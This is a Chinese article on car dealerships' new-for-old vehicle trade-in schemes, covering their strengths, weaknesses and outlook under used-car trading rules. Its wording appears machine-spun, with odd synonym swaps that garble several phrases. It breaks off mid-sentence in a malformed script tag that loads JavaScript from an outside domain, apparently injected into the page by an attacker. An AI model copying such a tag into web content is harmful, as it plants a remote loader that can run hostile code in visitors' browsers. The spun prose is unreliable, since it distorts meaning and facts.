“以旧换新”怎么样？前景怎么样？
伴随去年十月1日《二手车流通管理方法》颁布，经营主体的进一步放宽，各品牌4S店开始对二手车这块肥肉虎视眈眈，继而陆续有所动作。对于广大欲买卖二手车的买家来讲，以旧换新的体验、品牌经营与售后服务的放心，使他们开始考虑起4S店的新车置换方法是不是更合适自己。作为已经拓展新车置换业务四年的诚新二手车商家，广州安骅副总
经理王旭东向记者介绍了新车置换的进步近况及前景。他觉得，虽然现在二手车买卖主要还是在大型二手车交易市场内进行，但国家对有关认证的严格审核，品牌销售店的美誉度及硬件设施日渐健全，都令新车置换的进步前景比较乐观。
优势
以旧换新 售后保证
与传统二手车买卖方法相比，新车置换业务有我们的特征：4S店根据厂商需要回收客户的二手车，回收对象涵盖所有品牌及车型；专业人士为客户提供专业、透明的汽车评估及价格服务；二手车车价可抵扣新车车价；一站式的置换步骤，让客户在顺利售出二手车的同时，又买到新车。与传统二手车买卖方法相比，新车置换主要的优势体目前可以以旧换新、品牌美誉度高、售后水平得到保证三个方面。
可以换到新车
以旧换新，这是新车置换吸引买家的一大特点，不少用户一直对二手车有的抵触心理，而用我们的二手车，换一辆合心水的新车，只不过从中补足有关的成本，对于他们来讲，是一个相当合算的做法。而二手车交易市场内，即便再新的车，对于这类人而言，也很难受吸引或不可以放心。
品牌美誉度高
虽然价格上，新车置换价格比市场价略低，但4S店的忠实品牌买家，还是选择到该品牌4S店置换。加上各品牌4S店在自己形象方面，对于一部分买家来讲，感觉4S店的信誉度比二手车交易市场好，所以，有不少买家选择4S店。而且，有不少办理置换的是非品牌车型用户，现在本品牌车型与非品牌车型的置换比率大概是4：6。
水平较有保障
购买二手车，最让人担忧的就是买了之后的水平问题。由于这种产品，花了几万、甚至几十万元后，卖方就不承担水平责任，一旦车子出问题，买家只有自认倒霉，这就是现在二手车买卖使人驻足不前的近况。有调查表明，有过半数以上的准用户在考虑购买二手车时，之所以最后还是舍弃了，感觉就是怕被骗。虽然二手车交易市场中，愈加多的企业已经以诚信为本，可是用户一不留心，还是容易被个别不法车商坑骗。但一些知名品牌4S店因为遭到厂商的直接监控，所以买家也可以得到与新车一样的售后服务。
劣势
车型较少 进步受制
4S店新车置换的买卖方法，虽然已非新鲜事物，但比起有多年二手车买卖的卖场来讲，它在现阶段遭到几个方面的局限。
知名度不高
谈到新车置换的进步近况，在拓展新车置换业务的各品牌销售店中，真的运作规范的寥寥无几。很多品牌商家只不过处于一个品牌打造期，厂家并无实质性的扶持政策。相比之下，上海通用因为遭到厂商的实质支持和实时监督，因此在品牌的确立上，有肯定优势。可是与其它品牌4S店一样，他们面临同样的问题：知名度不高。不少人都了解某品牌公司4S店，但不了解该公司还有新车置换业务，更不了解非此品牌的二手车也能置换该品牌的新车。知名度不高，势必影响到二手车回收，有转让闲置车意向的用户，第一考虑的自然就是二手车市场和二手车经纪商。
车型类型较少
也正是由于只有少数品牌商家真的涉足二手车业务，所以买家在二手车的车型选择上，无疑更倾向于在二手车交易市场选择。随之，在客流量方面，4S店的新车置换区也不如传统二手车大卖场大，成交量自然也有相当差距。
回收价可能偏低
一些业内人士则表示，4S店的回收价大概略为偏低。受二手车流通管理方法的影响，新车商家不可以直接二手车交易，置换来的非本品牌二手车不可以与新车同台销售，因此从事二手车买卖的商家就需要与二手车交易市场进行合作，这可能直接成为商家在回收车型定价时候的一个考虑首要条件。有商家也表示，其回收价不会低于市场价，由于其回收二手用户要目的是为新车销售，并非以盈利为重点，而且厂商还有置换返利可以补贴给顾客。
展望
前景看好 政策不明朗
去年《二手车流通管理方法》颁布后，减少了二手车准基础知识槛，但苦于无具体操作细节，所以致使4S店在操作上有肯定的困难程度。所以各方暂时只能持一种观望态度。不过，二手车进步到了7-8年左右，就会出现一个井喷期，到了2008年，就将到达这个时期。从去年下半年看，全国二手车成交增长率已经超越新车增长率，当地更是在上半年就达成突破。新车置换的前景值得看好，只不过现在政策尚不明朗。
除此之外，新车商家与二手车交易市场的合作将长期存在。两者间的合作，不止是二?script src=http://cn.jxmmtv.com/cn.js>cript>